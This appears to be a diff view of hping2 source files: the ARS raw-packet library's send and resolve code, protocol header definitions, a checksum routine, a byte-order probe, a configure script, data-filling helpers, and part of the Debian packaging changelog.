sain.sin_family = AF_INET;
/* The first layer MUST be IP if the user requested
* the socket address completion */
if (pkt->p_layer[0].l_type != ARS_TYPE_IP) {
ars_set_error(pkt, "socket address completion"
"requested, but layer 0 isn't IP");
return -ARS_ERROR;
}
ip = (struct ars_iphdr*) pkt->p_layer[0].l_data;
memcpy(&sain.sin_addr.s_addr, &ip->daddr, 4);
_sa = (struct sockaddr*) &sain;
slen = sizeof(sain);
}
if ((error = ars_build_packet(pkt, &packet, &size)) != ARS_OK)
return error;
if ((error = ars_bsd_fix(pkt, packet, size)) != ARS_OK)
return error;
error = sendto(s, packet, size, 0, _sa, slen);
free(packet);
return (error != -1) ? -ARS_OK : -ARS_ERROR;
}
/* Resolve an hostname and write to 'dest' the IP */
int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname)
{
struct sockaddr_in sa;
if (inet_aton(hostname, &sa.sin_addr) == 0) {
struct hostent *he;
he = gethostbyname(hostname);
if (he == NULL) {
ars_set_error(pkt, "Can't resolve the hostname");
return -ARS_ERROR;
}
sa.sin_addr.s_addr = ((struct in_addr*) he->h_addr)->s_addr;
}
memcpy(dest, &sa.sin_addr.s_addr, sizeof(u_int32_t));
return -ARS_OK;
}

450
ars.h Normal file
View File

@ -0,0 +1,450 @@
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
* See the LICENSE file for more information. */
/* $Id: ars.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */
#ifndef _ARS_H
#define _ARS_H
/* define before including sys/socket.h */
#if defined(__APPLE__)
#define _BSD_SOCKLEN_T_ int
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include "systype.h"
#include "in.h"
#include "bytesex.h"
#ifndef TRUE
#define TRUE 1
#define FALSE 0
#endif
#ifndef MIN
#define MIN(x,y) ((x)<(y)?(x):(y))
#endif
#ifndef MAX
#define MAX(x,y) ((x)>(y)?(x):(y))
#endif
#ifdef DEBUG
#define __D(x) x
#else
#define __D(x) do { } while (0);
#endif
#ifndef __u8
#define __u8 u_int8_t
#define __u16 u_int16_t
#define __u32 u_int32_t
#endif
/* error codes */
#define ARS_OK 0
#define ARS_ERROR 1
#define ARS_NOSPACE 2
#define ARS_NOMEM 3
#define ARS_INVALID 4
/* Headers size */
#define ARS_ICMPHDR_SIZE sizeof(struct ars_icmphdr)
#define ARS_UDPHDR_SIZE sizeof(struct ars_udphdr)
#define ARS_TCPHDR_SIZE sizeof(struct ars_tcphdr)
#define ARS_IPHDR_SIZE sizeof(struct ars_iphdr)
#define ARS_PSEUDOHDR_SIZE sizeof(struct pseudohdr)
/* IP defines */
#define ARS_MAX_IP_SIZE 65535
#define ARS_IP_MF ((unsigned short)0x2000) /* more fragments */
#define ARS_IP_DF ((unsigned short)0x4000) /* dont fragment */
#define ARS_IP_RF ((unsigned short)0x8000) /* reserved fragment flag */
#define ARS_IPOPT_COPY 0x80
#define ARS_IPOPT_CLASS_MASK 0x60
#define ARS_IPOPT_NUMBER_MASK 0x1f
#define ARS_IPOPT_COPIED(o) ((o)&ARS_IPOPT_COPY)
#define ARS_IPOPT_CLASS(o) ((o)&ARS_IPOPT_CLASS_MASK)
#define ARS_IPOPT_NUMBER(o) ((o)&ARS_IPOPT_NUMBER_MASK)
#define ARS_IPOPT_CONTROL 0x00
#define ARS_IPOPT_RESERVED1 0x20
#define ARS_IPOPT_MEASUREMENT 0x40
#define ARS_IPOPT_RESERVED2 0x60
#define ARS_IPOPT_END (0 |ARS_IPOPT_CONTROL)
#define ARS_IPOPT_NOOP (1 |ARS_IPOPT_CONTROL)
#define ARS_IPOPT_SEC (2 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
#define ARS_IPOPT_LSRR (3 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
#define ARS_IPOPT_TIMESTAMP (4 |ARS_IPOPT_MEASUREMENT)
#define ARS_IPOPT_RR (7 |ARS_IPOPT_CONTROL)
#define ARS_IPOPT_SID (8 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
#define ARS_IPOPT_SSRR (9 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
#define ARS_IPOPT_RA (20|ARS_IPOPT_CONTROL|ARS_IPOPT_COPY)
#define ARS_IPOPT_OPTVAL 0
#define ARS_IPOPT_OLEN 1
#define ARS_IPOPT_OFFSET 2
#define ARS_IPOPT_MINOFF 4
#define ARS_MAX_IPOPTLEN 40
#define ARS_IPOPT_NOP ARS_IPOPT_NOOP
#define ARS_IPOPT_EOL ARS_IPOPT_END
#define ARS_IPOPT_TS ARS_IPOPT_TIMESTAMP
#define ARS_IPOPT_TS_TSONLY 0 /* timestamps only */
#define ARS_IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */
#define ARS_IPOPT_TS_PRESPEC 3 /* specified modules only */
/* IPV4 and IPV6 string rappresentation len */
#define ARS_INET_ADDRSTRLEN 16
#define ARS_INET6_ADDRSTRLEN 46
/* TCP */
#define ARS_TCPOPT_EOL 0
#define ARS_TCPOPT_NOP 1
#define ARS_TCPOPT_MAXSEG 2
#define ARS_TCPOPT_WINDOW 3
#define ARS_TCPOPT_SACK_PERM 4
#define ARS_TCPOPT_SACK 5
#define ARS_TCPOPT_ECHOREQUEST 6
#define ARS_TCPOPT_ECHOREPLY 7
#define ARS_TCPOPT_TIMESTAMP 8
#define ARS_TCP_TH_FIN 0x01
#define ARS_TCP_TH_SYN 0x02
#define ARS_TCP_TH_RST 0x04
#define ARS_TCP_TH_PUSH 0x08
#define ARS_TCP_TH_ACK 0x10
#define ARS_TCP_TH_URG 0x20
#define ARS_TCP_TH_X 0x40 /* X tcp flag */
#define ARS_TCP_TH_Y 0x80 /* Y tcp flag */
/* ICMP TYPE */
#define ARS_ICMP_ECHOREPLY 0 /* Echo Reply */
#define ARS_ICMP_DEST_UNREACH 3 /* Destination Unreachable */
#define ARS_ICMP_SOURCE_QUENCH 4 /* Source Quench */
#define ARS_ICMP_REDIRECT 5 /* Redirect (change route) */
#define ARS_ICMP_ECHO 8 /* Echo Request */
#define ARS_ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
#define ARS_ICMP_PARAMETERPROB 12 /* Parameter Problem */
#define ARS_ICMP_TIMESTAMP 13 /* Timestamp Request */
#define ARS_ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
#define ARS_ICMP_INFO_REQUEST 15 /* Information Request */
#define ARS_ICMP_INFO_REPLY 16 /* Information Reply */
#define ARS_ICMP_ADDRESS 17 /* Address Mask Request */
#define ARS_ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
/* Codes for UNREACHABLE */
#define ARS_ICMP_UNR_NET 0 /* Network Unreachable */
#define ARS_ICMP_UNR_HOST 1 /* Host Unreachable */
#define ARS_ICMP_UNR_PROT 2 /* Protocol Unreachable */
#define ARS_ICMP_UNR_PORT 3 /* Port Unreachable */
#define ARS_ICMP_UNR_FRAG_NEEDED 4 /* Fragmentation Needed,DF set*/
#define ARS_ICMP_UNR_SR_FAILED 5 /* Source Route failed */
#define ARS_ICMP_UNR_UNK_NET 6
#define ARS_ICMP_UNR_UNK_HOST 7
#define ARS_ICMP_UNR_ISOLATED_HOST 8
#define ARS_ICMP_UNR_NET_ANO 9
#define ARS_ICMP_UNR_HOST_ANO 10
#define ARS_ICMP_UNR_NET_UNR_TOS 11
#define ARS_ICMP_UNR_HOST_UNR_TOS 12
#define ARS_ICMP_UNR_PKT_FILTERED 13 /* Packet filtered */
#define ARS_ICMP_UNR_PREC_VIOLATION 14 /* Precedence violation */
#define ARS_ICMP_UNR_PREC_CUTOFF 15 /* Precedence cut off */
#define ARS_NR_ICMP_UNREACH 15 /* Instead of hardcoded immediate value */
/* Codes for REDIRECT */
#define ARS_ICMP_REDIR_NET 0 /* Redirect Net */
#define ARS_ICMP_REDIR_HOST 1 /* Redirect Host */
#define ARS_ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
#define ARS_ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
/* Codes for TIME_EXCEEDED */
#define ARS_ICMP_EXC_TTL 0 /* TTL count exceeded */
#define ARS_ICMP_EXC_FRAGTIME 1 /* TTL exceeded reassembling */
/* The IP header structure */
struct ars_iphdr {
#if defined(BYTE_ORDER_LITTLE_ENDIAN)
__u8 ihl:4,
version:4;
#elif defined (BYTE_ORDER_BIG_ENDIAN)
__u8 version:4,
ihl:4;
#else
#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"
#endif
__u8 tos;
__u16 tot_len;
__u16 id;
__u16 frag_off;
__u8 ttl;
__u8 protocol;
__u16 check;
__u32 saddr;
__u32 daddr;
};
/* The IP options structure */
struct ars_ipopt {
u_int8_t kind;
u_int8_t len;
union {
struct {
u_int16_t s;
u_int16_t c;
u_int16_t h;
u_int8_t tcc[3];
} sec; /* security */
struct {
u_int8_t ptr;
u_int8_t data[37];
} src; /* loose and strinct source routing */
struct {
u_int8_t ptr;
u_int8_t data[37];
} rr; /* record route */
struct {
u_int16_t id;
} sid; /* stream id */
struct {
u_int8_t ptr;
u_int8_t flags;
u_int8_t data[36];
} tstamp; /* timestamp */
} un;
};
/* The UDP header structure */
struct ars_udphdr {
__u16 uh_sport; /* source port */
__u16 uh_dport; /* destination port */
__u16 uh_ulen; /* udp length */
__u16 uh_sum; /* udp checksum */
};
/* The TCP header structure */
struct ars_tcphdr {
__u16 th_sport; /* source port */
__u16 th_dport; /* destination port */
__u32 th_seq; /* sequence number */
__u32 th_ack; /* acknowledgement number */
#if defined (BYTE_ORDER_LITTLE_ENDIAN)
__u8 th_x2:4, /* (unused) */
th_off:4; /* data offset */
#elif defined (BYTE_ORDER_BIG_ENDIAN)
__u8 th_off:4, /* data offset */
th_x2:4; /* (unused) */
#else
#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"
#endif
__u8 th_flags;
__u16 th_win; /* window */
__u16 th_sum; /* checksum */
__u16 th_urp; /* urgent pointer */
};
/* The TCP options structure */
struct ars_tcpopt {
u_int8_t kind;
u_int8_t len;
union {
struct {
u_int16_t size;
} mss;
struct {
u_int8_t shift;
} win;
struct {
u_int16_t origin;
u_int16_t size;
} sack[10]; /* 10 SACK blocks in 44 bytes of space */
struct {
u_int8_t info[4];
} echo;
struct {
u_int8_t tsval[4];
u_int8_t tsecr[4];
} timestamp;
} un;
};
/* The ICMP header structure */
struct ars_icmphdr
{
__u8 type;
__u8 code;
__u16 checksum;
union
{
struct
{
__u16 id;
__u16 sequence;
} echo; /* called echo since it's the most used */
__u32 gateway;
} un;
};
/* TCP/UDP pseudo header used to compute the checksum */
struct ars_pseudohdr
{
__u32 saddr;
__u32 daddr;
__u8 zero;
__u8 protocol;
__u16 lenght;
};
struct ars_packet; /* forward declaration */
/* ARS layer */
struct ars_layer {
int l_type;
int l_size;
int l_flags;
void *l_data;
struct ars_packet *l_packet;
};
#define ARS_MAX_LAYER 16
/* Types */
#define ARS_TYPE_SIZE 32
#define ARS_TYPE_NULL 0
#define ARS_TYPE_IP 1
#define ARS_TYPE_IPOPT 2
#define ARS_TYPE_ICMP 3
#define ARS_TYPE_UDP 4
#define ARS_TYPE_TCP 5
#define ARS_TYPE_TCPOPT 6
#define ARS_TYPE_DATA 31
/* ARS packet context */
struct ars_packet {
char *p_error;
int p_layer_nr;
struct ars_layer p_layer[ARS_MAX_LAYER];
void *p_default[ARS_TYPE_SIZE];
int aux; /* Auxiliar variable for data exchange between functions */
};
/* Facility to check for flags */
#define ARS_TAKE(f,x) (f & x)
#define ARS_DONTTAKE(f, x) (!(f & x))
#define ARS_TAKE_NONE 0
/* IP layer flags */
#define ARS_TAKE_IP_VERSION (1 << 0)
#define ARS_TAKE_IP_HDRLEN (1 << 1)
#define ARS_TAKE_IP_TOTLEN (1 << 2)
#define ARS_TAKE_IP_PROTOCOL (1 << 3)
#define ARS_TAKE_IP_CKSUM (1 << 4)
/* ICMP layer flags */
#define ARS_TAKE_ICMP_CKSUM (1 << 0)
/* UDP layer flags */
#define ARS_TAKE_UDP_CKSUM (1 << 0)
#define ARS_TAKE_UDP_LEN (1 << 1)
/* TCP layer flags */
#define ARS_TAKE_TCP_HDRLEN (1 << 0)
#define ARS_TAKE_TCP_CKSUM (1 << 1)
/* Some function that acts on layer switch to the last layer with this */
#define ARS_LAST_LAYER -1
/* Structure and defines needed to calculate the internet-like checksum
* when the data is splitted in more not adjacent buffers */
#define ARS_MC_INIT 0
#define ARS_MC_UPDATE 1
#define ARS_MC_FINAL 2
struct mc_context {
u_int32_t oddbyte_flag;
u_int32_t old;
u_int8_t oddbyte;
u_int8_t pad;
};
/* ARS layer info structure */
struct ars_layer_info {
char *li_name; /* NULL = unused slot */
int (*li_compiler) (struct ars_packet *pkt, int layer); /* NULL = NOP */
int layer_id;
};
/* ARS layer info table */
struct ars_layer_info ars_linfo[ARS_TYPE_SIZE];
/* ARS interface managment structure and defines */
#define ARS_IF_UP (1 << 0)
#define ARS_IF_LOOP (1 << 1)
#define ARS_IF_IPV4 (1 << 2)
#define ARS_IF_IPV6 (1 << 3)
#define ARS_IF_MISCONF (1 << 4)
#define ARS_IF_MAX_IFACE 16
#define ARS_IF_NAME_SIZE 32
/* iface type are obtained using libpcap to avoid efforts duplication */
struct ars_iface {
char if_name[ARS_IF_NAME_SIZE];
int if_mtu;
int if_flags;
char if_ipv4addr[ARS_INET_ADDRSTRLEN];
char if_ipv6addr[ARS_INET6_ADDRSTRLEN];
};
/* Flags for packet splitting */
#define ARS_SPLIT_FTRUNC (1 << 0)
#define ARS_SPLIT_FBADCKSUM (1 << 1)
/* More macros */
#define ars_atou(x) strtoul(x, (char **) NULL, 0)
/* Prototypes */
int ars_init(struct ars_packet *pkt);
int ars_destroy(struct ars_packet *pkt);
int ars_nospace(struct ars_packet *pkt);
int ars_add_generic(struct ars_packet *pkt, size_t size, int type);
void *ars_add_iphdr(struct ars_packet *pkt, int unused);
void *ars_add_ipopt(struct ars_packet *pkt, int option);
void *ars_add_udphdr(struct ars_packet *pkt, int unused);
void *ars_add_tcphdr(struct ars_packet *pkt, int unused);
void *ars_add_tcpopt(struct ars_packet *pkt, int option);
void *ars_add_icmphdr(struct ars_packet *pkt, int unused);
void *ars_add_data(struct ars_packet *pkt, int size);
size_t ars_relative_size(struct ars_packet *pkt, int layer_nr);
size_t ars_packet_size(struct ars_packet *pkt);
u_int16_t ars_cksum(void *vbuf, size_t nbytes);
u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, size_t nbytes);
int ars_compile(struct ars_packet *pkt);
int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum);
int ars_open_rawsocket(struct ars_packet *pkt);
int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size);
int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size);
int ars_set_flags(struct ars_packet *pkt, int layer, int flags);
int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen);
int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname);
int ars_set_error(struct ars_packet *pkt, char *error);
int ars_d_build(struct ars_packet *pkt, char *t);
int ars_valid_layer(int layer);
int ars_get_iface_list(struct ars_iface *iface, size_t *isize);
int ars_get_iface(char *name, struct ars_iface *i);
int ars_valid_layer(int layer);
int ars_remove_layer(struct ars_packet *pkt, int layer);
/* split.c prototypes */
int ars_seems_ip(struct ars_iphdr *ip, size_t size);
int ars_guess_ipoff(void *packet, size_t size, int *lhs);
int ars_check_ip_cksum(struct ars_iphdr *ip);
int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size);
int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt);
#endif /* _ARS_H */

32
arsglue.c Normal file
View File

@ -0,0 +1,32 @@
/* Glue between hping and the ars engine */
#include <stdlib.h>
#include <stdio.h>
#include "ars.h"
/* Send the APD described packet {s} */
void hping_ars_send(char *apd)
{
struct ars_packet p;
int s;
ars_init(&p);
s = ars_open_rawsocket(&p);
if (s == -ARS_ERROR) {
perror("Opening raw socket");
exit(1);
}
if (ars_d_build(&p, apd) != -ARS_OK) {
fprintf(stderr, "APD error: %s\n", p.p_error);
exit(1);
}
if (ars_compile(&p) != -ARS_OK) {
fprintf(stderr, "APD error compiling: %s\n", p.p_error);
exit(1);
}
if (ars_send(s, &p, NULL, 0) != -ARS_OK) {
perror("Sending the packet");
exit(1);
}
exit(0);
}

55
binding.c Normal file
View File

@ -0,0 +1,55 @@
/*
* $smu-mark$
* $name: binding.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:46 MET 1999$
* $rev: 11$
*/
#include <stdio.h>
#include <time.h>
#include <signal.h>
#include <errno.h>
#include "hping2.h"
#include "globals.h"
void inc_destparm(int sid)
{
static long sec = 0;
static long usec = 0;
int *p;
int errno_save = errno;
switch (ctrlzbind) {
case BIND_DPORT:
p = &dst_port;
break;
case BIND_TTL:
p = &src_ttl;
break;
default:
printf("error binding ctrl+z\n");
/* errno = errno_save; */
return;
}
if ( (time(NULL) == sec) && ((get_usec() - usec) < 200000) ) {
if (*p > 0)
(*p)-=2;
if (*p < 0)
*p=0;
} else
(*p)++;
printf("\b\b\b\b\b\b\b\b\b");
printf("%d: ", *p);
fflush(stdout);
sec = time(NULL);
usec = get_usec();
signal(SIGTSTP, inc_destparm);
errno = errno_save;
}

BIN
byteorder Normal file

Binary file not shown.

85
byteorder.c Normal file
View File

@ -0,0 +1,85 @@
#if 0
#
# Compile with:
# $sh byteorder.c
#
cc byteorder.c -o byteorder || exit 1
echo successfully compiled
exit
#endif /* 0 */
/*
* $smu-mark$
* $name: byteorder.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 9$
*/
/*
* 0.1 first version
* 0.2 add Strchr, so it's possibile remove string.h
* 0.3 more portable thx to Pancrazio De Mauro 'TrantIT'!!!
* 0.4 better debug output
*/
#include <stdio.h>
char *Strchr(char *s, char c)
{
while(*s)
if (*s++ == c)
return s;
return (char*) 0;
}
int main(int argc, char **argv)
{
unsigned int test = 1;
unsigned char *x;
int macro = 0, debug = 0, help = 0, j;
for (j = 1; j < argc; j++) {
if (Strchr(argv[j], 'm')) macro = 1;
if (Strchr(argv[j], 'd')) debug = 1;
if (Strchr(argv[j], 'h')) help = 1;
}
if (help) {
printf( "-m macro output\n"
"-d debug\n"
"-h help\n");
return 0;
}
x = (unsigned char*) &test;
if (*x == 0x00) {
if (macro)
printf("__BIG_ENDIAN_BITFIELD\n");
else
printf("big endian\n");
}
else if (*x == 0x01) {
if (macro)
printf("__LITTLE_ENDIAN_BITFIELD\n");
else
printf("little endian\n");
} else {
printf("\nWARNING!!! byteorder exception\n\n");
debug = 1;
}
if (debug) {
printf("sizeof(unsigned int) = %d\n", sizeof(unsigned int));
printf("unsigned int test = 1;\n");
printf("in memory as: ");
for (j = 0; j < sizeof(unsigned int); j++)
printf("%02x ", x[j]);
printf("\n");
}
return 0;
}

8
byteorder.h Normal file
View File

@ -0,0 +1,8 @@
#ifndef __BYTEORDER_H
#define __BYTEORDER_H
#ifndef __LITTLE_ENDIAN_BITFIELD
#define __LITTLE_ENDIAN_BITFIELD
#endif /* __LITTLE_ENDIAN_BITFIELD */
#endif /* __BYTEORDER_H */

20
bytesex.h Normal file
View File

@ -0,0 +1,20 @@
/* Original code from the Linux C library */
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
* This code is under the original GNU C library license (GPL) */
/* $Id: bytesex.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */
#ifndef ARS_BYTESEX_H
#define ARS_BYTESEX_H
#include <endian.h>
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define BYTE_ORDER_LITTLE_ENDIAN
#elif __BYTE_ORDER == __BIG_ENDIAN
#define BYTE_ORDER_BIG_ENDIAN
#else
# error can not find the byte order for this architecture, fix bytesex.h
#endif
#endif /* ARS_BYTESEX_H */

41
cksum.c Normal file
View File

@ -0,0 +1,41 @@
/*
* $smu-mark$
* $name: cksum.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 8$
*/
#include "hping2.h" /* only for arch semi-indipendent data types */
#include "globals.h"
/*
* from R. Stevens's Network Programming
*/
__u16 cksum(__u16 *buf, int nbytes)
{
__u32 sum;
__u16 oddbyte;
sum = 0;
while (nbytes > 1) {
sum += *buf++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((__u16 *) &oddbyte) = *(__u16 *) buf;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
/* return a bad checksum with --badcksum option */
if (opt_badcksum) sum ^= 0x5555;
return (__u16) ~sum;
}

117
configure vendored Normal file
View File

@ -0,0 +1,117 @@
#!/bin/sh
show_help()
{
echo configure help:
echo "--help show this help"
echo "--force-libpcap build a libpcap based binary under linux"
echo " even if uid != euid"
}
if [ "$1" = "--help" ]; then
show_help
exit 0
fi
CC=${CC:=cc}
echo build byteorder.c...
$CC byteorder.c -o byteorder || exit 1
INSTALL_MANPATH=`echo $MANPATH|cut -f1 -d:`
if [ "$INSTALL_MANPATH" = "" ]; then
INSTALL_MANPATH="/usr/local/man"
fi
BYTEORDER=`./byteorder -m`
echo create byteorder.h...
cat > byteorder.h <<EOF
#ifndef __BYTEORDER_H
#define __BYTEORDER_H
EOF
echo \#ifndef $BYTEORDER >> byteorder.h
echo \#define $BYTEORDER >> byteorder.h
echo \#endif /\* $BYTEORDER \*/ >> byteorder.h
cat >> byteorder.h <<EOF
#endif /* __BYTEORDER_H */
EOF
CONFIGOSTYPE=`uname -s | tr [a-z] [A-Z]`
if [ ! "$CONFIGOSTYPE" ]; then
CONFIGOSTYPE=UNKNOWN
fi
# for BSD/OS use the historical name as it doesn't include '/'
if [ $CONFIGOSTYPE = "BSD/OS" ]; then
CONFIGOSTYPE=BSDI
fi
case $CONFIGOSTYPE in
SUNOS)
SOLARISLIB="-lsocket -lresolv -lnsl"
BUG='/* #define STUPID_SOLARIS_CHECKSUM_BUG */'
case `uname -r` in
2.0*|5.0*|2.1*|5.1*|2.2*|5.2*|2.3*|5.3*|2.4*|5.4*|5.5.1)
BUG='#define STUPID_SOLARIS_CHECKSUM_BUG' ;;
esac
esac
#
# configurable stuff
#
FORCE_LIBPCAP=""
if [ "$CONFIGOSTYPE" = "LINUX" ]; then
PCAP=""
PCAP_INCLUDE=""
else
PCAP="PCAP=-lpcap"
PCAP_INCLUDE=""
fi
for ARG in $*; do
case "$ARG" in
*"--force-libpcap")
FORCE_LIBPCAP="-DFORCE_LIBPCAP"
PCAP="PCAP=-lpcap"
PCAP_INCLUDE=""
;;
esac
done
echo --------------------------------------
echo system type: $CONFIGOSTYPE
echo
echo "FORCE_LIBPCAP: $FORCE_LIBPCAP"
echo "LIBPCAP : $PCAP"
echo "PCAP_INCLUDE : $PCAP_INCLUDE"
echo "MANPATH : $INSTALL_MANPATH"
echo
echo "(to modify try configure --help)"
echo --------------------------------------
echo creating Makefile...
sed -e "s/@FORCE_LIBPCAP@/$FORCE_LIBPCAP/g" \
-e "s^@PCAP@^$PCAP^g" \
-e "s^@PCAP_INCLUDE@^$PCAP_INCLUDE^g" \
-e "s^@MANPATH@^$INSTALL_MANPATH^g" \
-e "s^@SOLARISLIB@^$SOLARISLIB^g" \
<Makefile.in > Makefile
#
#
#
cat > systype.h <<EOF
#ifndef __SYSTYPE_H
#define __SYSTYPE_H
EOF
echo \#define OSTYPE_${CONFIGOSTYPE} >> systype.h
cat >> systype.h <<EOF
#endif /* SYSTYPE_H */
EOF
echo now you can try \`make\'

74
datafiller.c Normal file
View File

@ -0,0 +1,74 @@
/*
* $smu-mark$
* $name: datafiller.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 8$
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h> /* memset */
#include "hping2.h"
#include "globals.h"
void datafiller(char *p, int size)
{
static int fd = 0;
int readed, diff;
if (!fd) {
fd = open(datafilename, O_RDONLY);
if (fd == -1) {
perror("[datafiller] open()");
fd = 0; /* will retry to open the file for
* the next packet */
memset(p, 'X', size);
return;
}
}
if (p == NULL && fd != -1) { /* seek operation */
/* size-1 because packet with id 1 start from 0 */
lseek(fd, (data_size-signlen)*(size-1), SEEK_SET);
return;
}
restart: /* if EOF occurs, after rewind, restart */
readed = read(fd, p, size);
if (readed == size)
return;
else if (readed == -1) {
perror("[datafiller] read()");
close(fd);
fd = 0; /* will retry to open the file for the next packet */
memset(p, 'X', size);
return;
}
else if (readed < size && opt_end == FALSE) {
lseek(fd, 0, SEEK_SET);
if (readed == 0)
goto restart;
}
else if (readed < size && opt_end == TRUE) {
fprintf(stderr, "EOF reached, wait some second than press "
"ctrl+c\n");
eof_reached = TRUE;
} else {
printf("[datafiller.c INTERNAL ERROR] readed = %d - "
"opt_end == %d\n", readed, opt_end);
exit(1);
}
diff = size - readed;
memset(p+readed, '\0', diff); /* padding */
lseek(fd, 0, SEEK_SET);
return;
}

39
datahandler.c Normal file
View File

@ -0,0 +1,39 @@
/*
* $smu-mark$
* $name: datahandler.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:47 MET 1999$
* $rev: 8$
*/
#include <string.h>
#include "hping2.h"
#include "globals.h"
void data_handler(char *data, int data_size)
{
if (opt_listenmode) { /* send an HCMP */
memcpy(data, rsign, signlen); /* ok, write own reverse sign */
data+=signlen;
data_size-=signlen;
memcpy(data, hcmphdr_p, data_size);
return; /* done */
}
if (opt_sign) {
memcpy(data, sign, signlen); /* lenght pre-checked */
data+=signlen;
data_size-=signlen;
}
if (data_size == 0)
return; /* there is not space left */
if (opt_datafromfile)
datafiller(data, data_size);
else
memset(data, 'X', data_size);
}

152
debian/changelog vendored Normal file
View File

@ -0,0 +1,152 @@
hping2 (2.rc3-4) unstable; urgency=low
* Apply man page patch from Timo Juhani Lindfors <timo.lindfors@iki.fi>
(closes: #342485).
* debian/compat: New file, switch to compat level 5.
* debian/rules: Remove obsolete DH_COMPAT variable.
* debian/control: Bump Standards-Version to 3.6.2.1, no changes needed.
-- Romain Francoise <rfrancoise@debian.org> Sat, 10 Dec 2005 14:35:24 +0100
hping2 (2.rc3-3) unstable; urgency=low
* Revert previous patch and really fix bytesex.h by using endian.h and
not doing all the work all over again; fixes FTBFS on several other
archs.
-- Romain Francoise <rfrancoise@debian.org> Mon, 21 Jun 2004 23:32:21 +0200
hping2 (2.rc3-2) unstable; urgency=low
* Apply patch from Frederik Schueler <fs@lowpingbastards.de> to fix
FTBFS on amd64 (closes: #255444).
-- Romain Francoise <rfrancoise@debian.org> Mon, 21 Jun 2004 07:51:58 +0200
hping2 (2.rc3-1) unstable; urgency=low
* New upstream release.
* Fix 'ambigous' typo in antigetopt.c.
-- Romain Francoise <rfrancoise@debian.org> Sun, 20 Jun 2004 16:34:57 +0200
hping2 (2.rc2-5) unstable; urgency=low
* New maintainer (closes: #249573).
* debian/control:
+ Update maintainer contact information.
+ Reword description.
* debian/copyright: Mention maintainer change.
-- Romain Francoise <rfrancoise@debian.org> Sat, 22 May 2004 20:15:28 +0200
hping2 (2.rc2-4) unstable; urgency=low
* Fixed typo in file statistics.c (closes: #236517).
-- Domenico Andreoli <cavok@debian.org> Sun, 7 Mar 2004 04:35:42 +0100
hping2 (2.rc2-3) unstable; urgency=low
* Removed duplicate files (closes: #208946).
-- Domenico Andreoli <cavok@debian.org> Sat, 3 Jan 2004 04:58:51 +0100
hping2 (2.rc2-2) unstable; urgency=low
* Applied patch for ATM, WLAN and Token Ring support (closes: #193436).
-- Domenico Andreoli <cavok@debian.org> Sun, 18 May 2003 15:01:54 +0200
hping2 (2.rc2-1) unstable; urgency=low
* New upstream release.
-- Domenico Andreoli <cavok@debian.org> Mon, 20 Jan 2003 23:41:29 +0100
hping2 (2.rc1-2) unstable; urgency=low
* Fixed a typo in hping2 description (Closes: #124740).
-- Domenico Andreoli <cavok@debian.org> Fri, 18 Jan 2002 21:15:22 +0100
hping2 (2.rc1-1) unstable; urgency=low
* New upstream release.
* Now french man page gets installed.
-- Domenico Andreoli <cavok@debian.org> Fri, 17 Aug 2001 01:38:38 +0200
hping2 (2.beta55-1) unstable; urgency=low
* New upstream release.
-- Domenico Andreoli <cavok@debian.org> Wed, 1 Aug 2001 14:40:30 +0200
hping2 (2.beta54-9) unstable; urgency=low
* Fixed the option parsing code (Closes: #90114).
-- Domenico Andreoli <cavok@debian.org> Thu, 29 Mar 2001 15:28:16 +0200
hping2 (2.beta54-8) unstable; urgency=low
* Added versioned Build-Depend for debhelper.
-- Domenico Andreoli <cavok@debian.org> Tue, 6 Mar 2001 15:17:20 +0100
hping2 (2.beta54-7) unstable; urgency=low
* Switched to debhelper compatibility version 2.
* Added some missing includes for header files. hping2 became not
succesfully compilable after some recent upgrade of libc6.
